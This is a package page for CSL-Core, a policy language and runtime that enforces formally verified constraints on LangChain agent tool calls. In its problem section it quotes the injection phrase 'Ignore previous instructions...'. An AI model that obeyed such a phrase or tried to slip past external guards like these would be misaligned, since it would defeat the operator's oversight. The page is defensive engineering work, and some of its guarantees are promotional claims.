Skip to main content

CSL-Core: Deterministic Safety Layer for Probabilistic AI Systems

Project description

CSL-Core

"Solidity for AI Policies" โ€” Deterministic safety for probabilistic AI systems

Python 3.10+ License: Apache 2.0 Z3 Verified Open-Core

CSL-Core (Chimera Specification Language) is an open-source policy language and runtime that brings mathematical rigor to AI agent governance. Define rigid, formally verified "laws" for your AI systems and enforce them at runtime with deterministic guarantees; completely independent of prompts, fine-tuning, or model training.

๐Ÿ“– Table of Contents


๐Ÿ’ก Why CSL-Core?

Scenario: You're building a LangChain or any AI agent for a fintech app. The agent can transfer funds, query databases, and send emails. You want to ensure:

  • โŒ Junior users cannot transfer more than $1,000
  • โŒ PII cannot be sent to external email domains
  • โŒ The secrets table cannot be queried by anyone

Traditional Approach (Prompt Engineering):

prompt = """You are a helpful assistant. IMPORTANT RULES:
- Never transfer more than $1000 for junior users
- Never send PII to external emails
- Never query the secrets table
[10 more pages of rules...]"""

Problems:

  • โš ๏ธ LLM can be prompt-injected ("Ignore previous instructions...")
  • โš ๏ธ Rules are probabilistic (99% compliance โ‰  100%)
  • โš ๏ธ No auditability (which rule was violated?)
  • โš ๏ธ Fragile (adding a rule might break existing behavior)

CSL-Core Approach:

# 1. Define policy (my_policy.csl)
"""
CONFIG {
  ENFORCEMENT_MODE: BLOCK
  CHECK_LOGICAL_CONSISTENCY: TRUE
}
DOMAIN AgentGuard {
  VARIABLES { 
    user_tier: {"JUNIOR", "SENIOR"}
    amount: 0..100000
  }
  STATE_CONSTRAINT junior_limit {
    WHEN user_tier == "JUNIOR"
    THEN amount <= 1000
  }
}
"""

# 2. Load and enforce (3 lines)
guard = load_guard("my_policy.csl")
safe_tools = guard_tools(tools, guard, inject={"user_tier": "JUNIOR"})
agent = create_openai_tools_agent(llm, safe_tools, prompt)

# 3. Sleep well
# - Mathematically proven consistent (Z3)
# - LLM cannot bypass (enforcement is external)
# - Every violation logged with constraint name

๐ŸŽฏ The Problem

Modern AI is inherently probabilistic. While this enables creativity, it makes systems fundamentally unreliable for critical constraints:

  • โŒ Prompts are suggestions, not rules
  • โŒ Fine-tuning biases behavior but guarantees nothing
  • โŒ Post-hoc classifiers add another probabilistic layer (more AI watching AI)

CSL-Core flips this model: Instead of asking AI to behave, you force it to comply using an external, deterministic logic layer.


โœจ Key Features

๐Ÿ”’ Formal Verification (Z3)

Policies are mathematically proven consistent at compile-time. Contradictions, unreachable rules, and logic errors are caught before deployment.

โšก Zero-Latency Runtime

Compiled policies execute as lightweight Python functors. No heavy parsing, no API calls โ€” just pure deterministic evaluation.

๐Ÿ”Œ LangChain-First Integration

Drop-in protection for LangChain agents with 3 lines of code:

  • Context Injection: Pass runtime context (user roles, environment) that the LLM cannot override
  • Automatic Tool Mapping: Tool names auto-injected into policy evaluation
  • Custom Context Mappers: Map complex LangChain inputs to policy variables
  • Zero Boilerplate: Wrap tools, chains, or entire agents with a single function call

๐Ÿญ Factory Pattern for Convenience

One-line policy loading with automatic compilation and verification:

guard = load_guard("policy.csl")  # Parse + Compile + Verify in one call

๐Ÿ›ก๏ธ Fail-Closed by Design

If something goes wrong (missing data, type mismatch, evaluation error), the system blocks by default. Safety over convenience.

๐Ÿ”Œ Drop-in Integrations

Native support for:

  • LangChain (Tools, Runnables, LCEL chains)
  • Python Functions (any callable)
  • REST APIs (via plugins)

๐Ÿ“Š Built-in Observability

Every decision produces an audit trail with:

  • Triggered rules
  • Violations (if any)
  • Latency metrics
  • Optional Rich terminal visualization

๐Ÿงช Production-Ready

Battle-tested with comprehensive test suites:

  • โœ… Smoke tests (parser, compiler)
  • โœ… Logic verification (Z3 engine integrity)
  • โœ… Runtime decisions (allow vs block)
  • โœ… Framework integrations (LangChain)
  • โœ… CLI end-to-end tests
  • โœ… Real-world example policies with full test coverage

Run the entire test suite:

pytest  # tests covering all components

๐Ÿš€ Quick Start (60 Seconds)

Installation

pip install csl-core

Your First Policy

Create my_policy.csl:

CONFIG {
  ENFORCEMENT_MODE: BLOCK
  CHECK_LOGICAL_CONSISTENCY: TRUE
}

DOMAIN MyGuard {
  VARIABLES {
    action: {"READ", "WRITE", "DELETE"}
    user_level: 0..5
  }
  
  STATE_CONSTRAINT strict_delete {
    WHEN action == "DELETE"
    THEN user_level >= 4
  }
}

Test It (No Code Required!)

CSL-Core provides a powerful CLI for testing policies without writing any Python code:

# 1. Verify policy (syntax + Z3 formal verification)
cslcore verify my_policy.csl

# 2. Test with single input
cslcore simulate my_policy.csl --input '{"action": "DELETE", "user_level": 2}'

# 3. Interactive REPL for rapid testing
cslcore repl my_policy.csl

> {"action": "DELETE", "user_level": 2}
allowed=False violations=1 warnings=0

> {"action": "DELETE", "user_level": 5}
allowed=True violations=0 warnings=0

Use in Code (Python)

from chimera_core import load_guard

# Factory method - handles parsing, compilation, and Z3 verification
guard = load_guard("my_policy.csl")

# This will pass
result = guard.verify({"action": "READ", "user_level": 1})
print(result.allowed)  # True

# This will be blocked
try:
    guard.verify({"action": "DELETE", "user_level": 2})
except ChimeraError as e:
    print(f"Blocked: {e}")

Use in Code (LangChain) โ€” 3 Lines of Code

from chimera_core import load_guard
from chimera_core.plugins.langchain import guard_tools

# 1. Load policy (auto-compile with Z3 verification)
guard = load_guard("my_policy.csl")

# 2. Wrap tools with policy enforcement
safe_tools = guard_tools(
    tools=[search_tool, delete_tool, transfer_tool],
    guard=guard,
    inject={"user_level": 2, "environment": "prod"},  # Runtime context the LLM can't override
    tool_field="tool",  # Auto-inject tool name into policy context
    enable_dashboard=True  # Optional: Rich terminal visualization
)

# 3. Use in agent - enforcement is automatic and transparent
agent = create_openai_tools_agent(llm, safe_tools, prompt)
executor = AgentExecutor(agent=agent, tools=safe_tools)

What happens under the hood:

  • Every tool call is intercepted before execution
  • Policy is evaluated with injected context + tool inputs
  • Violations block execution with detailed error messages
  • Allowed actions pass through with zero overhead

๐Ÿ“š Learning Path

CSL-Core provides a structured learning journey from beginner to production:

๐ŸŸข Step 1: Quickstart (5 minutes) โ†’ quickstart/

No-code exploration of CSL basics:

cd quickstart/
cslcore verify 01_hello_world.csl
cslcore simulate 01_hello_world.csl --input '{"amount": 500, "destination": "EXTERNAL"}'

What's included:

  • 01_hello_world.csl - Simplest possible policy (1 rule)
  • 02_age_verification.csl - Multi-rule logic with numeric comparisons
  • 03_langchain_template.py - Copy-paste LangChain integration

Goal: Understand CSL syntax and CLI workflow in 5 minutes.

๐ŸŸก Step 2: Real-World Examples (30 minutes) โ†’ examples/

Production-ready policies with comprehensive test coverage:

cd examples/
python run_examples.py  # Run all examples with test suites
python run_examples.py agent_tool_guard  # Run specific example

Available Examples:

Example Domain Complexity Key Features
agent_tool_guard.csl AI Safety โญโญ RBAC, PII protection, tool permissions
chimera_banking_case_study.csl Finance โญโญโญ Risk scoring, VIP tiers, sanctions
dao_treasury_guard.csl Web3 Governance โญโญโญโญ Multi-sig, timelocks, emergency bypass

Interactive Demos:

# See LangChain integration with visual dashboard
python examples/integrations/langchain_agent_demo.py

Goal: Explore production patterns and run comprehensive test suites.

๐Ÿ”ต Step 3: Production Deployment

Once you understand the patterns, integrate into your application:

  1. Write your policy (or adapt from examples)
  2. Test thoroughly using CLI batch simulation
  3. Integrate with 3-line LangChain wrapper
  4. Deploy with CI/CD verification (policy as code)

See Getting Started Guide for detailed walkthrough.


๐Ÿ—๏ธ Architecture: The 3-Stage Pipeline

CSL-Core separates Policy Definition from Runtime Enforcement through a clean 3-stage architecture:

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚                     1. COMPILER (compiler.py)                    โ”‚
โ”‚  .csl file โ†’ AST โ†’ Intermediate Representation (IR) โ†’ Artifact  โ”‚
โ”‚  โ€ข Syntax validation                                             โ”‚
โ”‚  โ€ข Semantic validation                                           โ”‚
โ”‚  โ€ข Optimized functor generation                                  โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                                โ†“
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚                    2. VERIFIER (verifier.py)                     โ”‚
โ”‚              Z3 Theorem Prover - Static Analysis                 โ”‚
โ”‚  โ€ข Reachability analysis                                         โ”‚
โ”‚  โ€ข Contradiction detection                                       โ”‚
โ”‚  โ€ข Rule shadowing detection                                      โ”‚
โ”‚  โœ… If verification fails โ†’ Policy WILL NOT compile             โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                                โ†“
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚                    3. RUNTIME GUARD (runtime.py)                 โ”‚
โ”‚                 Deterministic Policy Enforcement                 โ”‚
โ”‚  โ€ข Fail-closed evaluation                                        โ”‚
โ”‚  โ€ข Zero dependencies (pure Python functors)                      โ”‚
โ”‚  โ€ข Audit trail generation                                        โ”‚
โ”‚  โ€ข <1ms latency for typical policies                            โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Key Insight: Heavy computation (parsing, Z3 verification) happens once at compile-time. Runtime is pure evaluation โ€” no symbolic solver, no heavy libraries.


๐Ÿ“š Documentation

Document Description
Getting Started Installation, first policy, integration guide
Syntax Specification Complete CSL language reference
CLI Reference Command-line tools (verify, simulate, repl)
Philosophy Design principles and vision
What is CSL? Deep dive into the problem & solution

๐ŸŽ“ Example Policies Deep Dive

The examples/ directory contains production-ready policies with comprehensive test suites. Each example demonstrates real-world patterns and includes:

  • โœ… Complete .csl policy file
  • โœ… JSON test cases (allow + block scenarios)
  • โœ… Automated test runner with visual reports
  • โœ… Expected violations for each blocked case

Running Examples

Run all examples with the test runner:

python examples/run_examples.py

Run specific example:

python examples/run_examples.py agent_tool_guard
python examples/run_examples.py banking

Show detailed failures:

python examples/run_examples.py --details

Policy Pattern Library

Common patterns extracted from examples for reuse:

Pattern 1: Role-Based Access Control (RBAC)

STATE_CONSTRAINT admin_only {
    WHEN operation == "SENSITIVE_ACTION"
    THEN user_role MUST BE "ADMIN"
}

Source: agent_tool_guard.csl (lines 30-33)

Pattern 2: PII Protection

STATE_CONSTRAINT no_external_pii {
    WHEN pii_present == "YES"
    THEN destination MUST NOT BE "EXTERNAL"
}

Source: agent_tool_guard.csl (lines 55-58)

Pattern 3: Progressive Limits by Tier

STATE_CONSTRAINT basic_tier_limit {
    WHEN tier == "BASIC"
    THEN amount <= 1000
}

STATE_CONSTRAINT premium_tier_limit {
    WHEN tier == "PREMIUM"
    THEN amount <= 50000
}

Source: chimera_banking_case_study.csl (lines 28-38)

Pattern 4: Hard Sanctions (Fail-Closed)

STATE_CONSTRAINT sanctions {
    ALWAYS True  // Always enforced
    THEN country MUST NOT BE "SANCTIONED_COUNTRY"
}

Source: chimera_banking_case_study.csl (lines 22-25)

Pattern 5: Emergency Bypass

// Normal rule with bypass
STATE_CONSTRAINT normal_with_bypass {
    WHEN condition AND action != "EMERGENCY"
    THEN requirement
}

// Emergency gate (higher threshold)
STATE_CONSTRAINT emergency_gate {
    WHEN action == "EMERGENCY"
    THEN approval_count >= 10
}

Source: dao_treasury_guard.csl (lines 60-67)

See examples/README.md for the complete policy catalog.


๐Ÿงช Testing

CSL-Core includes a comprehensive test suite following the Testing Pyramid:

# Run all tests
pytest

# Run specific categories
pytest tests/integration          # LangChain plugin tests
pytest tests/test_cli_e2e.py      # End-to-end CLI tests
pytest -k "verifier"              # Z3 verification tests

Test Coverage:

  • โœ… Smoke tests (parser, compiler)
  • โœ… Logic verification (Z3 engine integrity)
  • โœ… Runtime decisions (allow vs block scenarios)
  • โœ… LangChain integration (tool wrapping, LCEL gates)
  • โœ… CLI end-to-end (subprocess simulation)

See tests/README.md for detailed test architecture.


๐Ÿ”— LangChain Integration Deep Dive

CSL-Core provides the easiest way to add deterministic safety to LangChain agents. No prompting required, no fine-tuning needed โ€” just wrap and run.

Why LangChain + CSL-Core?

Problem LangChain Alone With CSL-Core
Prompt Injection LLM can be tricked to bypass rules Policy enforcement happens before tool execution
Role-Based Access Must trust LLM to respect roles Roles injected at runtime, LLM cannot override
Business Logic Encoded in fragile prompts Mathematically verified constraints
Auditability Parse LLM outputs after the fact Every decision logged with violations

Basic Tool Wrapping

from chimera_core import load_guard
from chimera_core.plugins.langchain import guard_tools

# Your existing tools
from langchain.tools import DuckDuckGoSearchRun, ShellTool
tools = [DuckDuckGoSearchRun(), ShellTool()]

# Load policy
guard = load_guard("agent_policy.csl")

# Wrap tools (one line)
safe_tools = guard_tools(tools, guard)

# Use in agent - that's it!
agent = create_openai_tools_agent(llm, safe_tools, prompt)

Advanced: Context Injection

The inject parameter lets you pass runtime context that the LLM cannot override:

safe_tools = guard_tools(
    tools=tools,
    guard=guard,
    inject={
        "user_role": current_user.role,           # From your auth system
        "environment": os.getenv("ENV"),          # prod/dev/staging
        "tenant_id": session.tenant_id,           # Multi-tenancy
        "rate_limit_remaining": quota.remaining   # Dynamic limits
    }
)

Policy Example (agent_policy.csl):

CONFIG {
  ENFORCEMENT_MODE: BLOCK
  CHECK_LOGICAL_CONSISTENCY: TRUE
  ENABLE_FORMAL_VERIFICATION: FALSE
  ENABLE_CAUSAL_INFERENCE: FALSE
  INTEGRATION: "native"
}

DOMAIN AgentGuard {
  VARIABLES {
    tool: String
    user_role: {"ADMIN", "USER", "ANALYST"}
    environment: {"prod", "dev"}
  }
  
  // Block shell access in production
  STATE_CONSTRAINT no_shell_in_prod {
    WHEN environment == "prod"
    THEN tool MUST NOT BE "ShellTool"
  }
  
  // Only admins can delete
  STATE_CONSTRAINT admin_only_delete {
    WHEN tool == "DeleteRecordTool"
    THEN user_role MUST BE "ADMIN"
  }
}

Advanced: Custom Context Mapping

Map complex LangChain inputs to your policy variables:

def my_context_mapper(tool_input: Dict) -> Dict:
    """
    LangChain tools receive kwargs like:
      {"query": "...", "limit": 10, "metadata": {...}}
    
    Your policy expects:
      {"search_query": "...", "result_limit": 10, "source": "..."}
    """
    return {
        "search_query": tool_input.get("query"),
        "result_limit": tool_input.get("limit"),
        "source": tool_input.get("metadata", {}).get("source", "unknown")
    }

safe_tools = guard_tools(
    tools=tools,
    guard=guard,
    context_mapper=my_context_mapper
)

Advanced: LCEL Chain Protection

Insert a policy gate into LCEL chains:

from chimera_core.plugins.langchain import gate

chain = (
    {"query": RunnablePassthrough()}
    | gate(guard, inject={"user_role": "USER"})  # Policy checkpoint
    | prompt
    | llm
    | StrOutputParser()
)

# If policy blocks, chain stops with ChimeraError
result = chain.invoke({"query": "DELETE * FROM users"})  # Blocked!

Live Demo

See a complete working example in examples/integrations/langchain_agent_demo.py:

  • Simulated financial agent with transfer tools
  • Role-based access control (USER vs ADMIN)
  • PII protection rules
  • Rich terminal visualization
python examples/integrations/langchain_agent_demo.py

๐Ÿ”Œ Plugin Architecture

CSL-Core provides a universal plugin system for integrating with AI frameworks.

Available Plugins:

  • โœ… LangChain (chimera_core.plugins.langchain)
  • ๐Ÿšง LlamaIndex (coming soon)
  • ๐Ÿšง AutoGen (coming soon)

Create Your Own Plugin:

from chimera_core.plugins.base import ChimeraPlugin

class MyFrameworkPlugin(ChimeraPlugin):
    def process(self, input_data):
        # Enforce policy
        self.run_guard(input_data)
        
        # Continue framework execution
        return input_data

All lifecycle behavior (fail-closed semantics, visualization, context mapping) is inherited automatically from ChimeraPlugin.

See chimera_core/plugins/README.md for the integration guide.


๐Ÿ“– API Quick Reference

Loading Policies (Factory Pattern)

from chimera_core import load_guard, create_guard_from_string

# From file (recommended - handles paths automatically)
guard = load_guard("policies/my_policy.csl")

# From string (useful for testing or dynamic policies)
policy_code = """
CONFIG {
  ENFORCEMENT_MODE: BLOCK
  CHECK_LOGICAL_CONSISTENCY: TRUE
}

DOMAIN Test {
  VARIABLES { x: 0..10 }
  STATE_CONSTRAINT limit { ALWAYS True THEN x <= 5 }
}
"""
guard = create_guard_from_string(policy_code)

Runtime Verification

# Basic verification
result = guard.verify({"x": 3})
print(result.allowed)  # True
print(result.violations)  # []

# Error handling
from chimera_core import ChimeraError

try:
    guard.verify({"x": 15})
except ChimeraError as e:
    print(f"Blocked: {e}")
    print(f"Violations: {e.violations}")

LangChain Integration

from chimera_core.plugins.langchain import guard_tools, gate

# Tool wrapping
safe_tools = guard_tools(
    tools=[tool1, tool2],
    guard=guard,
    inject={"user": "alice"},
    tool_field="tool_name",
    enable_dashboard=True
)

# LCEL gate
chain = prompt | gate(guard) | llm

Runtime Configuration

from chimera_core import RuntimeConfig

config = RuntimeConfig(
    raise_on_block=True,           # Raise ChimeraError on violations
    collect_all_violations=True,   # Report all violations, not just first
    missing_key_behavior="block",  # "block", "warn", or "ignore"
    evaluation_error_behavior="block"
)

guard = load_guard("policy.csl", config=config)

๐Ÿ› ๏ธ CLI Tools โ€” The Power of No-Code Policy Development

CSL-Core's CLI is not just a utility โ€” it's a complete development environment for policies. Test, debug, and deploy without writing a single line of Python.

Why CLI-First?

  • โšก Instant Feedback: Test policy changes in milliseconds
  • ๐Ÿ” Interactive Debugging: REPL for exploring edge cases
  • ๐Ÿค– CI/CD Ready: Integrate verification into your pipeline
  • ๐Ÿ“Š Batch Testing: Run hundreds of test cases with visual reports
  • ๐ŸŽจ Rich Visualization: See exactly which rules triggered

1. verify โ€” Compile & Formally Verify

The verify command is your first line of defense. It checks syntax, semantics, and mathematical consistency using Z3.

# Basic verification
cslcore verify my_policy.csl

# Output:
# โš™๏ธ  Compiling Domain: MyGuard
#    โ€ข Validating Syntax... โœ… OK
#    โ”œโ”€โ”€ Verifying Logic Model (Z3 Engine)... โœ… Mathematically Consistent
#    โ€ข Generating IR... โœ… OK

Advanced Debugging:

# Show Z3 trace on verification failures
cslcore verify complex_policy.csl --debug-z3

Skip verification (not recommended for production):

cslcore verify policy.csl --skip-verify

2. simulate โ€” Test Without Writing Code

The simulate command is your policy test harness. Pass inputs, see decisions, validate behavior.

Single Input Testing:

# Test one scenario
cslcore simulate agent_policy.csl \
  --input '{"tool": "TRANSFER_FUNDS", "user_role": "ADMIN", "amount": 5000}'

# Output:
# โœ… ALLOWED

Batch Testing with JSON Files:

Create test_cases.json:

[
  {
    "name": "Junior user tries transfer",
    "input": {"tool": "TRANSFER_FUNDS", "user_role": "JUNIOR", "amount": 100},
    "expected": "BLOCK"
  },
  {
    "name": "Admin transfers within limit",
    "input": {"tool": "TRANSFER_FUNDS", "user_role": "ADMIN", "amount": 4000},
    "expected": "ALLOW"
  }
]

Run all tests:

cslcore simulate agent_policy.csl --input-file test_cases.json --dashboard

Machine-Readable Output (CI/CD):

# JSON output for automated testing
cslcore simulate policy.csl --input-file tests.json --json --quiet

# Output to file (JSON Lines format)
cslcore simulate policy.csl --input-file tests.json --json-out results.jsonl

Runtime Behavior Flags:

# Dry-run: Report what WOULD be blocked without actually blocking
cslcore simulate policy.csl --input-file tests.json --dry-run

# Fast-fail: Stop at first violation
cslcore simulate policy.csl --input-file tests.json --fast-fail

# Lenient mode: Missing keys warn instead of block
cslcore simulate policy.csl \
  --input '{"incomplete": "data"}' \
  --missing-key-behavior warn

3. repl โ€” Interactive Policy Development

The REPL (Read-Eval-Print Loop) is the fastest way to explore policy behavior. Load a policy once, then test dozens of scenarios interactively.

cslcore repl my_policy.csl --dashboard

Interactive Session:

cslcore> {"action": "DELETE", "user_level": 2}
๐Ÿ›ก๏ธ BLOCKED: Constraint 'strict_delete' violated.
  Rule: user_level >= 4 (got: 2)

cslcore> {"action": "DELETE", "user_level": 5}
โœ… ALLOWED

cslcore> {"action": "READ", "user_level": 0}
โœ… ALLOWED

cslcore> exit

Use Cases:

  • ๐Ÿงช Rapid Prototyping: Test edge cases without reloading
  • ๐Ÿ› Debugging: Explore why a specific input is blocked
  • ๐Ÿ“š Learning: Understand policy behavior interactively
  • ๐ŸŽ“ Demos: Show stakeholders real-time policy decisions

CLI in CI/CD Pipelines

Example: GitHub Actions

name: Verify Policies
on: [push, pull_request]

jobs:
  verify:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - name: Install CSL-Core
        run: pip install csl-core
      
      - name: Verify all policies
        run: |
          for policy in policies/*.csl; do
            cslcore verify "$policy" || exit 1
          done
      
      - name: Run test suites
        run: |
          cslcore simulate policies/prod_policy.csl \
            --input-file tests/prod_tests.json \
            --json --quiet > results.json
      
      - name: Check for violations
        run: |
          if grep -q '"allowed": false' results.json; then
            echo "โŒ Policy tests failed"
            exit 1
          fi

Exit Codes for Automation:

Code Meaning Use Case
0 Success / Allowed Policy valid or input allowed
2 Compilation Failed Syntax error or Z3 contradiction
3 System Error Internal error or missing file
10 Runtime Blocked Policy violation detected

Advanced CLI Usage

Debug Z3 Solver Issues:

# When verification fails with internal errors
cslcore verify complex_policy.csl --debug-z3 > z3_trace.log

Skip Validation Steps:

# Skip semantic validation (not recommended)
cslcore verify policy.csl --skip-validate

# Skip Z3 verification (DANGEROUS - only for development)
cslcore verify policy.csl --skip-verify

Custom Runtime Behavior:

# Block on missing keys (default)
cslcore simulate policy.csl --input '{"incomplete": "data"}' --missing-key-behavior block

# Warn on evaluation errors instead of blocking
cslcore simulate policy.csl --input '{"bad": "type"}' --evaluation-error-behavior warn

See CLI Reference for complete documentation.


๐ŸŽฏ Use Cases

CSL-Core is production-ready for:

๐Ÿฆ Financial Services

  • Transaction limits by user tier
  • Sanctions enforcement
  • Risk-based blocking
  • Fraud prevention rules

๐Ÿค– AI Agent Safety

  • Tool permission management
  • PII protection
  • Rate limiting
  • Dangerous operation blocking

๐Ÿ›๏ธ DAO Governance

  • Multi-sig requirements
  • Timelock enforcement
  • Reputation-based access
  • Treasury protection

๐Ÿฅ Healthcare

  • HIPAA compliance rules
  • Patient data access control
  • Treatment protocol validation
  • Audit trail requirements

โš–๏ธ Legal & Compliance

  • Regulatory rule enforcement
  • Contract validation
  • Policy adherence verification
  • Automated compliance checks

** CSL-Core is currently in Alpha, provided 'as-is' without any warranties; the developers accept no liability for any direct or indirect damages resulting from its use. **


๐Ÿ—บ๏ธ Roadmap

โœ… Completed

  • Core language (CSL syntax, parser, AST)
  • Z3 formal verification engine
  • Python runtime with fail-closed semantics
  • LangChain integration (Tools, LCEL, Runnables)
  • Factory pattern for easy policy loading
  • CLI tools (verify, simulate, repl)
  • Rich terminal visualization
  • Comprehensive test suite
  • Custom context mappers for framework integration

๐Ÿšง In Progress

  • Policy versioning & migration tools
  • Web-based policy editor
  • LangGraph integration

๐Ÿ”ฎ Planned

  • LlamaIndex integration
  • AutoGen integration
  • Haystack integration
  • Policy marketplace (community-contributed policies)
  • Cloud deployment templates (AWS Lambda, GCP Functions, Azure Functions)
  • Policy analytics dashboard
  • Multi-policy composition
  • Hot-reload support for development

๐Ÿ”’ Enterprise (Commercial)

  • TLA+ temporal logic verification
  • Causal inference engine
  • Multi-tenancy support
  • Advanced policy migration tooling
  • Priority support & SLA

๐Ÿค Contributing

We welcome contributions! CSL-Core is open-source and community-driven.

Ways to Contribute:

  • ๐Ÿ› Report bugs via GitHub Issues
  • ๐Ÿ’ก Suggest features or improvements
  • ๐Ÿ“ Improve documentation
  • ๐Ÿงช Add test cases
  • ๐ŸŽ“ Create example policies for new domains
  • ๐Ÿ”Œ Build framework integrations (LlamaIndex, AutoGen, Haystack)
  • ๐ŸŒŸ Share your LangChain use cases and integration patterns

High-Impact Contributions We'd Love:

  • ๐Ÿ“š More real-world example policies (healthcare, legal, supply chain)
  • ๐Ÿ”— Framework integrations (see chimera_core/plugins/base.py for the pattern)
  • ๐ŸŽจ Web-based policy editor
  • ๐Ÿ“Š Policy analytics and visualization tools
  • ๐Ÿงช Additional test coverage for edge cases

Contribution Process:

  1. Fork the repository
  2. Create a feature branch (git checkout -b feature/amazing-feature)
  3. Make your changes with tests
  4. Run the test suite (pytest)
  5. Commit your changes (git commit -m 'Add amazing feature')
  6. Push to the branch (git push origin feature/amazing-feature)
  7. Open a Pull Request

See CONTRIBUTING.md for detailed guidelines.


๐Ÿ“„ License & Open-Core Model

Core (This Repository)

CSL-Core is released under the Apache License 2.0. See LICENSE for details.

What's included in the open-source core:

  • โœ… Complete CSL language (parser, compiler, runtime)
  • โœ… Z3-based formal verification
  • โœ… LangChain integration
  • โœ… CLI tools (verify, simulate, repl)
  • โœ… Rich terminal visualization
  • โœ… All example policies and test suites

Enterprise Edition (Optional / Under Research & Deployment)

Advanced capabilities for large-scale deployments:

  • ๐Ÿ”’ TLA+ Temporal Logic Verification: Beyond Z3, full temporal model checking
  • ๐Ÿ”’ Causal Inference Engine: Counterfactual analysis and causal reasoning
  • ๐Ÿ”’ Multi-tenancy Support: Policy isolation and tenant-scoped enforcement
  • ๐Ÿ”’ Policy Migration Tools: Version control and backward compatibility
  • ๐Ÿ”’ Cloud Deployment Templates: Production-ready Kubernetes/Lambda configs
  • ๐Ÿ”’ Priority Support: SLA-backed engineering support

๐Ÿ™ Acknowledgments

CSL-Core is built on the shoulders of giants:

  • Z3 Theorem Prover - Microsoft Research (Leonardo de Moura, Nikolaj Bjรธrner)
  • LangChain - Harrison Chase and contributors
  • Rich - Will McGugan (terminal visualization)

๐Ÿ“ฌ Contact & Support


โญ Star History

If you find CSL-Core useful, please consider giving it a star on GitHub! It helps others discover the project.


Built with โค๏ธ by the Chimera Team

Making AI systems mathematically safe, one policy at a time.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

csl_core-0.1.0a0.tar.gz (88.0 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

csl_core-0.1.0a0-py3-none-any.whl (72.2 kB view details)

Uploaded Python 3

File details

Details for the file csl_core-0.1.0a0.tar.gz.

File metadata

  • Download URL: csl_core-0.1.0a0.tar.gz
  • Upload date:
  • Size: 88.0 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.5

File hashes

Hashes for csl_core-0.1.0a0.tar.gz
Algorithm Hash digest
SHA256 2faceeaeabd6940dad8f37f14ef95ca3dd609ec1ce5c3c1f5d02cd0471128619
MD5 d5396cfbb761b0ca95d9ed93e5f3350e
BLAKE2b-256 135c8c3561662e3aff071fd324b51412a91f12b49cbac1e901b0f9dfb73ded15

See more details on using hashes here.

File details

Details for the file csl_core-0.1.0a0-py3-none-any.whl.

File metadata

  • Download URL: csl_core-0.1.0a0-py3-none-any.whl
  • Upload date:
  • Size: 72.2 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.5

File hashes

Hashes for csl_core-0.1.0a0-py3-none-any.whl
Algorithm Hash digest
SHA256 c0d156e42f5066e40466205b45e55063e534e75e02a5e9abee2a4fae412992d5
MD5 46dd103dfd1ac9f880b1555ad49ca3ce
BLAKE2b-256 2cc03440f4253fdeb5b628b0636105e5e460d5ebd3cdb5c2acbc4d043cb297a1

See more details on using hashes here.

Supported by

